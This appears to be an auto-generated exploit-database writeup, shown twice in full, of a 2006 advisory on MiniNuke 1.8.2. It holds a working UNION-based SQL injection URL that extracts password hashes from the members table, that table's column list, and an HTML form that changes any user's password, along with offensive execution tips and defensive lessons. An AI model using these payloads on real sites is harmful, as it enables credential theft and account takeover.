By exploitdb papers bot•January 14, 2006•

papers

MiniNuke 1.8.2 SQL Injection and Password Reset Exploitation

What this paper is

This paper, published in 2006, details two distinct vulnerabilities in the MiniNuke Content Management System (CMS) version 1.8.2 and prior.

SQL Injection Vulnerability: Allows an attacker to inject arbitrary SQL queries into the news.asp page, potentially leading to data exfiltration.
Remote Password Change Vulnerability: Allows an attacker to change any user's password without needing to log in, by exploiting a flaw in the membership.asp page.

Simple technical breakdown

The vulnerabilities stem from how the MiniNuke application handles user input without proper sanitization or validation.

SQL Injection: The news.asp page accepts a parameter hid which is directly incorporated into an SQL query. By providing specially crafted SQL commands within this parameter, an attacker can manipulate the database query to retrieve sensitive information, such as user credentials.
Password Change: The membership.asp page, when processing a "lost password" request, has a flaw in how it handles certain form parameters. An attacker can craft a POST request to this page, specifying a target username and a new password, effectively bypassing the normal password reset procedure.

Complete code and payload walkthrough

The provided paper does not contain executable code or shellcode in the traditional sense. Instead, it provides URLs and HTML forms that demonstrate the exploitation techniques. We will break down the concepts and parameters used in these examples.

SQL Injection Example Breakdown

URL: http://[site]/news.asp?Action=Print&hid=[SQLQuery]

[site]: Placeholder for the target MiniNuke website.
news.asp: The vulnerable ASP script.
Action=Print: A parameter that likely triggers a specific functionality within news.asp.
hid=[SQLQuery]: This is the critical part. The value provided for hid is directly used in an SQL query.

Example Payload: http://www.miniex.net/news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=52

Let's decode the URL-encoded parts:

%20 becomes a space.
+ becomes a space.

So the effective hid parameter value is: 66 union select 0,sifre,0,0,0,0,0,0,0,0 from members where uye_id=52

Analysis of the hid parameter:

66: This is likely a legitimate ID that the news.asp script would normally use to fetch news. The attacker is providing this as a starting point.
union select ...: This is the core of the SQL injection. The UNION operator combines the result set of two or more SELECT statements. The attacker is trying to append their own SELECT statement to the original query.
0,sifre,0,0,0,0,0,0,0,0: This part specifies the columns the attacker wants to retrieve.
- The original query likely selects a certain number of columns. The attacker needs to provide the same number of columns in their UNION statement.
- sifre (password hash) is the target column.
- The zeros (0) are placeholders for columns the attacker doesn't need or can't easily guess.
from members: Specifies the table to query. The paper states the members table contains user information.
where uye_id=52: Filters the results to a specific user ID.

Mapping list:

hid=[SQLQuery] -> Input parameter directly used in SQL query.
union select -> SQL operator to combine query results.
sifre -> Target column for password hash.
members -> Target table containing user data.
uye_id=52 -> Filter to target a specific user.

Password Change Example Breakdown

HTML Form:

<html>
<title>MiniNuke <= 1.8.2 remote user password change</title>
<form method="POST" action="http://[SITE]/membership.asp?action=lostpassnew">
<table border="0" cellspacing="1" cellpadding="0" align="center" width="75%">
<tr><td colspan="2" align="center"><font face=verdana size=2>Now fill in the blanks</font></td></tr>
<tr><td colspan="2" align="center"><font face=tahoma size=1red>Change password </font></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD: </font></td>
<td width="50%"><input type="text" name="pass" size="20"></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD Again : </font></td>
<td width="50%"><input type="text" name="passa" size="20"><input type="text" name="x" value="Membername">&nbsp;&nbsp;
<input type="submit" value="Send" name="B1" style="font-family: Verdana; font-size: 10px; border: 1px ridge #FFFFFF; background-color: #FFFFFF"></td></tr>
</table></form>
</html>

Analysis of the HTML Form and its submission:

action="http://[SITE]/membership.asp?action=lostpassnew": This is the target URL.
- [SITE] is the target website.
- membership.asp is the vulnerable script.
- action=lostpassnew is a parameter that likely triggers the password change functionality.
method="POST": The form submits data using the HTTP POST method.
<input type="text" name="pass" size="20">: This field is for the new password.
<input type="text" name="passa" size="20">: This field is for confirming the new password.
<input type="text" name="x" value="Membername">: This is the crucial, vulnerable parameter.
- The name is x.
- The value is Membername. This is likely intended to be the username of the person whose password is being reset. However, the vulnerability implies that the application might not correctly validate which user's password is being changed, or it might be susceptible to a specific input in x that allows it to target any user. The paper states "remote attacker can change any users password without login," suggesting that the x parameter, when combined with other form data, allows for this. The exact mechanism of how x targets a specific user or bypasses authentication is not fully detailed in the paper, but the presence of Membername as a default value implies it's meant to be a username.
<input type="submit" value="Send">: Submits the form.

Mapping list:

action=lostpassnew -> Triggers the vulnerable password reset logic.
name="pass" -> New password input.
name="passa" -> Password confirmation input.
name="x" value="Membername" -> The parameter that, when manipulated or combined with other data, allows targeting a specific user's password reset. The paper implies this is the key to changing any user's password.

Note: The paper does not provide the actual ASP code for news.asp or membership.asp, nor does it detail the exact SQL query structure or the specific logic within membership.asp that makes the password change possible. The breakdown is based on the provided exploit examples and common web application vulnerabilities of that era.

Practical details for offensive operations teams

SQL Injection (news.asp)

Required Access Level: Network access to the target web server. No prior authentication is required for this specific vulnerability.
Lab Preconditions:
- A vulnerable MiniNuke 1.8.2 (or prior) installation.
- A database backend (likely MySQL or MS SQL Server, common for ASP applications of that era).
- Knowledge of the database schema, specifically table and column names like members, sifre, uye_id. This information might be obtained through reconnaissance or prior knowledge of the CMS.
Tooling Assumptions:
- Web browser for manual testing.
- A web proxy (e.g., Burp Suite, OWASP ZAP) to intercept and modify requests.
- SQL injection tools (e.g., sqlmap) could potentially be adapted, but manual crafting is often required for complex UNION-based injections.
Execution Pitfalls:
- Database Type/Version: The exact SQL syntax for UNION queries can vary slightly between database systems (MySQL, MSSQL, etc.). The attacker needs to know or guess the target database.
- Column Count Mismatch: If the attacker guesses the wrong number of columns for the UNION statement, the query will fail.
- Output Filtering: The application might filter or sanitize the output, making it difficult to see the injected data.
- WAF/IPS: Modern Web Application Firewalls (WAFs) or Intrusion Prevention Systems (IPS) would likely detect and block such a direct UNION SELECT injection.
- Obfuscation: Attackers might need to obfuscate the SQL payload to bypass basic filters.
Expected Telemetry:
- Web server logs showing requests to news.asp with unusual hid parameters containing UNION SELECT.
- Database logs showing potentially malformed or unusual queries originating from the web server.
- Application errors if the injection is malformed or blocked.

Password Change (membership.asp)

Required Access Level: Network access to the target web server. No prior authentication is required.
Lab Preconditions:
- A vulnerable MiniNuke 1.8.2 (or prior) installation.
- A functional membership.asp page with the "lost password" feature enabled.
- Knowledge of at least one valid username on the system to target.
Tooling Assumptions:
- Web browser.
- Web proxy (e.g., Burp Suite, OWASP ZAP) to craft and send the POST request.
- Basic understanding of HTML form submission.
Execution Pitfalls:
- Target Username Identification: The attacker needs to know or guess a valid username (Membername in the example) to target. If they don't know any usernames, this becomes a reconnaissance challenge.
- Parameter Name/Value Changes: The exact parameter names (x, pass, passa) or the expected value for x might differ slightly in different versions or configurations, requiring testing.
- Server-Side Validation: The application might have server-side checks that were not apparent in the original paper, which could prevent the password change.
- Email Confirmation: Legitimate password reset flows often involve email confirmation. This vulnerability bypasses that, but if the application has other checks (e.g., IP whitelisting, account lockouts), they could interfere.
- POST Data Format: Ensuring the POST data is correctly formatted according to how the membership.asp script expects it.
Expected Telemetry:
- Web server logs showing POST requests to membership.asp with action=lostpassnew and specific pass, passa, and x parameters.
- Application logs might show password change events, potentially without a corresponding legitimate user action.
- User reports of unexpected password changes.

Where this was used and when

Context: This exploit targets the MiniNuke CMS, a web application popular in the mid-2000s for creating websites. Such vulnerabilities were common in many off-the-shelf CMS solutions of that era due to rapid development and insufficient security testing.
When: The paper was published on January 14, 2006. This indicates the vulnerabilities were likely discovered and exploited around or before this date. Exploitation would have been relevant during the lifespan of MiniNuke versions 1.8.2 and prior, which would have been active in the mid-2000s.

Defensive lessons for modern teams

Input Validation and Sanitization: This is the most fundamental lesson. All user-supplied input, whether from GET parameters, POST data, cookies, or any other source, must be treated as untrusted.
- SQL Injection: Use parameterized queries (prepared statements) instead of string concatenation to build SQL queries. This separates SQL code from data.
- General Input: Validate input against expected formats, lengths, and character sets. Sanitize or escape special characters that could be interpreted as code.
Principle of Least Privilege: Ensure that database users have only the necessary permissions. For example, a web application user should not have DROP TABLE or ALTER TABLE privileges unless absolutely required.
Secure Password Management:
- Implement robust password reset mechanisms that include email verification or multi-factor authentication.
- Store password hashes securely using modern, strong hashing algorithms (e.g., bcrypt, scrypt, Argon2) with appropriate salting.
Regular Patching and Updates: Keep all software, including CMS, frameworks, and underlying operating systems, up to date with the latest security patches. Vendors often release fixes for known vulnerabilities.
Web Application Firewalls (WAFs): While not a silver bullet, WAFs can provide a layer of defense against common attacks like SQL injection by detecting and blocking malicious patterns in traffic.
Security Audits and Code Reviews: Regularly perform security audits and code reviews to identify vulnerabilities before they can be exploited.

ASCII visual (if applicable)

This scenario is primarily about data flow and interaction between a client and a web server, with the database as a backend. A simple flow diagram can illustrate the SQL injection part.

+-----------------+      HTTP Request      +-------------------+      SQL Query       +-----------------+
|  Attacker's PC  | ---------------------> |    Web Server     | -------------------> |     Database    |
| (Crafted Input) |      (news.asp?hid=...) | (Vulnerable App)  | (UNION SELECT ...)   | (Data Storage)  |
+-----------------+                        +-------------------+                      +-----------------+
       ^                                             |                                             |
       |                                             | HTTP Response (Exfiltrated Data)            |
       |---------------------------------------------|---------------------------------------------|

This diagram shows how crafted input from the attacker's PC is sent to the web server. The vulnerable application on the web server then constructs an SQL query that includes this crafted input, sending it to the database. The database, if vulnerable, executes the modified query and returns data, which is then sent back to the attacker in the HTTP response.

The password change scenario is similar but involves a POST request to membership.asp and a different set of parameters, ultimately leading to a modification in the database (changing a password hash) without proper authorization.

Source references

Paper ID: 1418
Paper Title: MiniNuke 1.8.2 - Multiple SQL Injections
Author: nukedx
Published: 2006-01-14
Keywords: ASP, webapps
Paper URL: https://www.exploit-db.com/papers/1418
Raw URL: https://www.exploit-db.com/raw/1418

Original Exploit-DB Content (Verbatim)

Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}


---
Vendor: MiniNuke (www.miniex.net)
Version: 1.8.2 and prior versions must be affected.
About:Via this method remote attacker can inject SQL query to the news.asp 
---
How&Example: GET -> http://[site]/news.asp?Action=Print&hid=[SQLQuery]
http://www.miniex.net/news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=52

Columns of MEMBERS:
uye_id = userid
sifre = md5 password hash
g_soru = secret question.
g_cevap = secret answer
email = mail address
isim = name
icq = ICQ Uin
msn = MSN Sn.
aim = AIM Sn.
meslek = job
cinsiyet = gender
yas = age
url = url
imza = signature
mail_goster = show mail :P
avurl = avatar url
avatar = avatar


---
Vendor: MiniNuke (www.miniex.net)
Version: 1.8.2 and prior versions must be affected.
About:Via this method remote attacker can change any users password without login.
---
How&Example: 
HTML Example
[code]
<html>
<title>MiniNuke <= 1.8.2 remote user password change</title>
<form method="POST" action="http://[SITE]/membership.asp?action=lostpassnew">
<table border="0" cellspacing="1" cellpadding="0" align="center" width="75%">
<tr><td colspan="2" align="center"><font face=verdana size=2>Now fill in the blanks</font></td></tr>
<tr><td colspan="2" align="center"><font face=tahoma size=1red>Change password </font></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD: </font></td>
<td width="50%"><input type="text" name="pass" size="20"></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD Again : </font></td>
<td width="50%"><input type="text" name="passa" size="20"><input type="text" name="x" value="Membername">&nbsp;&nbsp;
<input type="submit" value="Send" name="B1" style="font-family: Verdana; font-size: 10px; border: 1px ridge #FFFFFF; background-color: #FFFFFF"></td></tr>
</table></form>
</html>
[/code]

# milw0rm.com [2006-01-14]

By exploitdb papers bot•January 14, 2006•

papers

MiniNuke 1.8.2 SQL Injection and Password Reset Exploitation

What this paper is

This paper, published in 2006, details two distinct vulnerabilities in the MiniNuke Content Management System (CMS) version 1.8.2 and prior.

SQL Injection Vulnerability: Allows an attacker to inject arbitrary SQL queries into the news.asp page, potentially leading to data exfiltration.
Remote Password Change Vulnerability: Allows an attacker to change any user's password without needing to log in, by exploiting a flaw in the membership.asp page.

Simple technical breakdown

The vulnerabilities stem from how the MiniNuke application handles user input without proper sanitization or validation.

SQL Injection: The news.asp page accepts a parameter hid which is directly incorporated into an SQL query. By providing specially crafted SQL commands within this parameter, an attacker can manipulate the database query to retrieve sensitive information, such as user credentials.
Password Change: The membership.asp page, when processing a "lost password" request, has a flaw in how it handles certain form parameters. An attacker can craft a POST request to this page, specifying a target username and a new password, effectively bypassing the normal password reset procedure.

Complete code and payload walkthrough

SQL Injection Example Breakdown

URL: http://[site]/news.asp?Action=Print&hid=[SQLQuery]

[site]: Placeholder for the target MiniNuke website.
news.asp: The vulnerable ASP script.
Action=Print: A parameter that likely triggers a specific functionality within news.asp.
hid=[SQLQuery]: This is the critical part. The value provided for hid is directly used in an SQL query.

Example Payload: http://www.miniex.net/news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=52

Let's decode the URL-encoded parts:

%20 becomes a space.
+ becomes a space.

So the effective hid parameter value is: 66 union select 0,sifre,0,0,0,0,0,0,0,0 from members where uye_id=52

Analysis of the hid parameter:

66: This is likely a legitimate ID that the news.asp script would normally use to fetch news. The attacker is providing this as a starting point.
union select ...: This is the core of the SQL injection. The UNION operator combines the result set of two or more SELECT statements. The attacker is trying to append their own SELECT statement to the original query.
0,sifre,0,0,0,0,0,0,0,0: This part specifies the columns the attacker wants to retrieve.
- The original query likely selects a certain number of columns. The attacker needs to provide the same number of columns in their UNION statement.
- sifre (password hash) is the target column.
- The zeros (0) are placeholders for columns the attacker doesn't need or can't easily guess.
from members: Specifies the table to query. The paper states the members table contains user information.
where uye_id=52: Filters the results to a specific user ID.

Mapping list:

hid=[SQLQuery] -> Input parameter directly used in SQL query.
union select -> SQL operator to combine query results.
sifre -> Target column for password hash.
members -> Target table containing user data.
uye_id=52 -> Filter to target a specific user.

Password Change Example Breakdown

HTML Form:

<html>
<title>MiniNuke <= 1.8.2 remote user password change</title>
<form method="POST" action="http://[SITE]/membership.asp?action=lostpassnew">
<table border="0" cellspacing="1" cellpadding="0" align="center" width="75%">
<tr><td colspan="2" align="center"><font face=verdana size=2>Now fill in the blanks</font></td></tr>
<tr><td colspan="2" align="center"><font face=tahoma size=1red>Change password </font></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD: </font></td>
<td width="50%"><input type="text" name="pass" size="20"></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD Again : </font></td>
<td width="50%"><input type="text" name="passa" size="20"><input type="text" name="x" value="Membername">&nbsp;&nbsp;
<input type="submit" value="Send" name="B1" style="font-family: Verdana; font-size: 10px; border: 1px ridge #FFFFFF; background-color: #FFFFFF"></td></tr>
</table></form>
</html>

Analysis of the HTML Form and its submission:

action="http://[SITE]/membership.asp?action=lostpassnew": This is the target URL.
- [SITE] is the target website.
- membership.asp is the vulnerable script.
- action=lostpassnew is a parameter that likely triggers the password change functionality.
method="POST": The form submits data using the HTTP POST method.
<input type="text" name="pass" size="20">: This field is for the new password.
<input type="text" name="passa" size="20">: This field is for confirming the new password.
<input type="text" name="x" value="Membername">: This is the crucial, vulnerable parameter.
- The name is x.
- The value is Membername. This is likely intended to be the username of the person whose password is being reset. However, the vulnerability implies that the application might not correctly validate which user's password is being changed, or it might be susceptible to a specific input in x that allows it to target any user. The paper states "remote attacker can change any users password without login," suggesting that the x parameter, when combined with other form data, allows for this. The exact mechanism of how x targets a specific user or bypasses authentication is not fully detailed in the paper, but the presence of Membername as a default value implies it's meant to be a username.
<input type="submit" value="Send">: Submits the form.

Mapping list:

action=lostpassnew -> Triggers the vulnerable password reset logic.
name="pass" -> New password input.
name="passa" -> Password confirmation input.
name="x" value="Membername" -> The parameter that, when manipulated or combined with other data, allows targeting a specific user's password reset. The paper implies this is the key to changing any user's password.

Practical details for offensive operations teams

SQL Injection (news.asp)

Required Access Level: Network access to the target web server. No prior authentication is required for this specific vulnerability.
Lab Preconditions:
- A vulnerable MiniNuke 1.8.2 (or prior) installation.
- A database backend (likely MySQL or MS SQL Server, common for ASP applications of that era).
- Knowledge of the database schema, specifically table and column names like members, sifre, uye_id. This information might be obtained through reconnaissance or prior knowledge of the CMS.
Tooling Assumptions:
- Web browser for manual testing.
- A web proxy (e.g., Burp Suite, OWASP ZAP) to intercept and modify requests.
- SQL injection tools (e.g., sqlmap) could potentially be adapted, but manual crafting is often required for complex UNION-based injections.
Execution Pitfalls:
- Database Type/Version: The exact SQL syntax for UNION queries can vary slightly between database systems (MySQL, MSSQL, etc.). The attacker needs to know or guess the target database.
- Column Count Mismatch: If the attacker guesses the wrong number of columns for the UNION statement, the query will fail.
- Output Filtering: The application might filter or sanitize the output, making it difficult to see the injected data.
- WAF/IPS: Modern Web Application Firewalls (WAFs) or Intrusion Prevention Systems (IPS) would likely detect and block such a direct UNION SELECT injection.
- Obfuscation: Attackers might need to obfuscate the SQL payload to bypass basic filters.
Expected Telemetry:
- Web server logs showing requests to news.asp with unusual hid parameters containing UNION SELECT.
- Database logs showing potentially malformed or unusual queries originating from the web server.
- Application errors if the injection is malformed or blocked.

Password Change (membership.asp)

Required Access Level: Network access to the target web server. No prior authentication is required.
Lab Preconditions:
- A vulnerable MiniNuke 1.8.2 (or prior) installation.
- A functional membership.asp page with the "lost password" feature enabled.
- Knowledge of at least one valid username on the system to target.
Tooling Assumptions:
- Web browser.
- Web proxy (e.g., Burp Suite, OWASP ZAP) to craft and send the POST request.
- Basic understanding of HTML form submission.
Execution Pitfalls:
- Target Username Identification: The attacker needs to know or guess a valid username (Membername in the example) to target. If they don't know any usernames, this becomes a reconnaissance challenge.
- Parameter Name/Value Changes: The exact parameter names (x, pass, passa) or the expected value for x might differ slightly in different versions or configurations, requiring testing.
- Server-Side Validation: The application might have server-side checks that were not apparent in the original paper, which could prevent the password change.
- Email Confirmation: Legitimate password reset flows often involve email confirmation. This vulnerability bypasses that, but if the application has other checks (e.g., IP whitelisting, account lockouts), they could interfere.
- POST Data Format: Ensuring the POST data is correctly formatted according to how the membership.asp script expects it.
Expected Telemetry:
- Web server logs showing POST requests to membership.asp with action=lostpassnew and specific pass, passa, and x parameters.
- Application logs might show password change events, potentially without a corresponding legitimate user action.
- User reports of unexpected password changes.

Where this was used and when

Context: This exploit targets the MiniNuke CMS, a web application popular in the mid-2000s for creating websites. Such vulnerabilities were common in many off-the-shelf CMS solutions of that era due to rapid development and insufficient security testing.
When: The paper was published on January 14, 2006. This indicates the vulnerabilities were likely discovered and exploited around or before this date. Exploitation would have been relevant during the lifespan of MiniNuke versions 1.8.2 and prior, which would have been active in the mid-2000s.

Defensive lessons for modern teams

Input Validation and Sanitization: This is the most fundamental lesson. All user-supplied input, whether from GET parameters, POST data, cookies, or any other source, must be treated as untrusted.
- SQL Injection: Use parameterized queries (prepared statements) instead of string concatenation to build SQL queries. This separates SQL code from data.
- General Input: Validate input against expected formats, lengths, and character sets. Sanitize or escape special characters that could be interpreted as code.
Principle of Least Privilege: Ensure that database users have only the necessary permissions. For example, a web application user should not have DROP TABLE or ALTER TABLE privileges unless absolutely required.
Secure Password Management:
- Implement robust password reset mechanisms that include email verification or multi-factor authentication.
- Store password hashes securely using modern, strong hashing algorithms (e.g., bcrypt, scrypt, Argon2) with appropriate salting.
Regular Patching and Updates: Keep all software, including CMS, frameworks, and underlying operating systems, up to date with the latest security patches. Vendors often release fixes for known vulnerabilities.
Web Application Firewalls (WAFs): While not a silver bullet, WAFs can provide a layer of defense against common attacks like SQL injection by detecting and blocking malicious patterns in traffic.
Security Audits and Code Reviews: Regularly perform security audits and code reviews to identify vulnerabilities before they can be exploited.

ASCII visual (if applicable)

This scenario is primarily about data flow and interaction between a client and a web server, with the database as a backend. A simple flow diagram can illustrate the SQL injection part.

+-----------------+      HTTP Request      +-------------------+      SQL Query       +-----------------+
|  Attacker's PC  | ---------------------> |    Web Server     | -------------------> |     Database    |
| (Crafted Input) |      (news.asp?hid=...) | (Vulnerable App)  | (UNION SELECT ...)   | (Data Storage)  |
+-----------------+                        +-------------------+                      +-----------------+
       ^                                             |                                             |
       |                                             | HTTP Response (Exfiltrated Data)            |
       |---------------------------------------------|---------------------------------------------|

Source references

Paper ID: 1418
Paper Title: MiniNuke 1.8.2 - Multiple SQL Injections
Author: nukedx
Published: 2006-01-14
Keywords: ASP, webapps
Paper URL: https://www.exploit-db.com/papers/1418
Raw URL: https://www.exploit-db.com/raw/1418

Original Exploit-DB Content (Verbatim)

Contacts:{
ICQ: 10072
MSN/Email: nukedx@nukedx.com
Web: http://www.nukedx.com
}


---
Vendor: MiniNuke (www.miniex.net)
Version: 1.8.2 and prior versions must be affected.
About:Via this method remote attacker can inject SQL query to the news.asp 
---
How&Example: GET -> http://[site]/news.asp?Action=Print&hid=[SQLQuery]
http://www.miniex.net/news.asp?Action=Print&hid=66%20union+select+0,sifre,0,0,0,0,0,0,0,0+from+members+where+uye_id=52

Columns of MEMBERS:
uye_id = userid
sifre = md5 password hash
g_soru = secret question.
g_cevap = secret answer
email = mail address
isim = name
icq = ICQ Uin
msn = MSN Sn.
aim = AIM Sn.
meslek = job
cinsiyet = gender
yas = age
url = url
imza = signature
mail_goster = show mail :P
avurl = avatar url
avatar = avatar


---
Vendor: MiniNuke (www.miniex.net)
Version: 1.8.2 and prior versions must be affected.
About:Via this method remote attacker can change any users password without login.
---
How&Example: 
HTML Example
[code]
<html>
<title>MiniNuke <= 1.8.2 remote user password change</title>
<form method="POST" action="http://[SITE]/membership.asp?action=lostpassnew">
<table border="0" cellspacing="1" cellpadding="0" align="center" width="75%">
<tr><td colspan="2" align="center"><font face=verdana size=2>Now fill in the blanks</font></td></tr>
<tr><td colspan="2" align="center"><font face=tahoma size=1red>Change password </font></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD: </font></td>
<td width="50%"><input type="text" name="pass" size="20"></td></tr>
<tr><td width="50%" align="right"><font face=verdana size=1>PASSWORD Again : </font></td>
<td width="50%"><input type="text" name="passa" size="20"><input type="text" name="x" value="Membername">&nbsp;&nbsp;
<input type="submit" value="Send" name="B1" style="font-family: Verdana; font-size: 10px; border: 1px ridge #FFFFFF; background-color: #FFFFFF"></td></tr>
</table></form>
</html>
[/code]

# milw0rm.com [2006-01-14]